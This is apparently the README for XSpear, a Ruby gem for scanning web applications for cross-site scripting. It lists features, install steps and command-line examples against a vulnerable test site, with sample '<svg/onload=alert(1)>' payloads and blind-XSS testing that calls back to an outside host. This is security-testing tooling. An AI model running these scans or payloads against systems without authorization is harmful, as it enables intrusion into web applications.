XSpear – Powerfull XSS Scanning and Parameter analysis tool and gem


Xspear is a powerful XSS scanning and parameter analysis tool on ruby gems, capable of both static and dynamic XSS vulnerability analysis. Therefore, it has the ability to scan, detect and analyze potential XSS vulnerabilities on web applications.

Key features

  • Pattern matching based XSS scanning
  • Detect alert confirm prompt event on headless browser (with Selenium)
  • Testing request/response for XSS protection bypass and reflected(or all) params
    • Reflected Params
    • All params(for blind xss, anytings)
    • Filtered test event handler HTML tag Special Char Useful code
    • Testing custom payload for only you!
  • Testing Blind XSS (with XSS Hunter , ezXSS, HBXSS, Etc all url base blind test…)
  • Dynamic/Static Analysis
    • Find SQL Error pattern
    • Analysis Security headers(CSP HSTS X-frame-options, XSS-protection etc.. )
    • Analysis Other headers..(Server version, Content-Type, etc…)
    • XSS Testing to URI Path
    • Testing Only Parameter Analysis (aka no-XSS mode)
  • Scanning from Raw file(Burp suite, ZAP Request)
  • XSpear running on ruby code(with Gem library)
  • Show table base cli-report and filtered rule, testing raw query(url)
  • Testing at selected parameters
  • Support output format cli json html
    • cli
    • json
    • html
  • Support Verbose level (0~3)
    • 0: quite mode(only result)
    • 1: show scanning status(default)
    • 2: show scanning logs
    • 3: show detail log(req/res)
  • Support custom callback code to any test various attack vectors
  • Support Config file

Installation

Install it yourself as:

$ gem install XSpear

Or install it yourself as (local file / download latest ):

$ gem install XSpear-{version}.gem

Add this line to your application’s Gemfile:

gem 'XSpear'

And then execute:

$ bundle

Dependency gems

colorize selenium-webdriver terminal-table progress_bar
If you configured it to install automatically in the Gem library, but it behaves abnormally, installs it with the following command.

$ gem install colorize
$ gem install selenium-webdriver
$ gem install terminal-table
$ gem install progress_bar

Case by Case

Scanning XSS

$ xspear -u "http://testphp.vulnweb.com/search.php?test=query" -d "searchFor=yy"

Only JSON output

$ xspear -u "http://testphp.vulnweb.com/search.php?test=query" -d "searchFor=yy" -o json -v 0

Set scanning thread

$ xspear -u "http://testphp.vulnweb.com/search.php?test=query" -t 30

Testing at selected parameters

$ xspear -u "http://testphp.vulnweb.com/search.php?test=query&cat=123&ppl=1fhhahwul" -p cat,test

Testing at all parameters
(This option is tested with or without reflection.)

$ xspear -u "http://testphp.vulnweb.com/search.php?test=query&cat=123&ppl=1fhhahwul" -a

Testing Only parameter analysis (aka no-xss mode)

$ xspear -u "http://testphp.vulnweb.com/search.php?test=query&cat=123&ppl=1fhhahwul" --no-xss

Testing blind xss(all params)
(Should be used as much as possible because Blind XSS is everywhere)

$ xspear -u "http://testphp.vulnweb.com/search.php?test=query" -b "https://hahwul.xss.ht" -a

# Set your blind xss host. <-b options>

Testing custom payload

$ xspear -u "http://testphp.vulnweb.com/listproducts.php?cat=123" --custom-payload=custom_payload.json 

in custom_payload.json file

[
  {
    "payload":"<svg/onload=alert(1)>",
    "callback":"P1",
    "descript":"blahblah~"
  },
  {
    "payload":"<svg/onload=alert(1)>",
    "callback":"P2",
    "descript":"blahblah~"
  },
  {
    "payload":"<>",
    "callback":"P1",
    "descript":"blahblah~"
  }
]

for Pipeline

$ xspear -u {target} -b "your-blind-xss-host" -a -v 0 -o json

# -u : target 
# -b : testing blind xss
# -a : test all params(test to not reflected param)
# -v : verbose, not showing logs at value 1.
# -o : output optios, json!

XSpear on Burpsuite

https://github.com/hahwul/XSpear/tree/master/forBurp

Usage on ruby code

require 'XSPear'

# Set options
options = {}
options['thread'] = 30
options['cookie'] = "data=123"
options['blind'] = "https://hahwul.xss.ht"
options['output'] = json

# Create XSpear object with url, options
s = XspearScan.new "https://www.hahwul.com?target_url", options

# Scanning
s.run
result = s.report.to_json
r = JSON.parse result

Add Scanning Module

1) Add makeQueryPattern

makeQueryPattern('type', 'query,', 'pattern', 'category', "description", "callback funcion")
# type: f(ilterd?) r(eflected?) x(ss?)
# category i(nfo) v(uln) l(ow) m(edium) h(igh) 

# e.g 
# makeQueryPattern('f', 'XsPeaR,', 'XsPeaR,', 'i', "not filtered "+",".blue, CallbackStringMatch)

2) if other callback, write callback class override ScanCallbackFunc e.g

  class CallbackStringMatch < ScanCallbackFunc
    def run
      if @response.body.include? @query
        [true, "reflected #{@query}"]
      else
        [false, "not reflected #{@query}"]
      end
    end
  end

Parent class(ScanCallbackFunc)

class ScanCallbackFunc()
    def initialize(url, method, query, response)
      @url = url
      @method = method
      @query = query
      @response = response
      # self.run
    end
    
    def run
      # override
    end
end

Common Callback Class

  • CallbackXSSSelenium
  • CallbackErrorPatternMatch
  • CallbackCheckHeaders
  • CallbackStringMatch
  • CallbackNotAdded
  • etc…
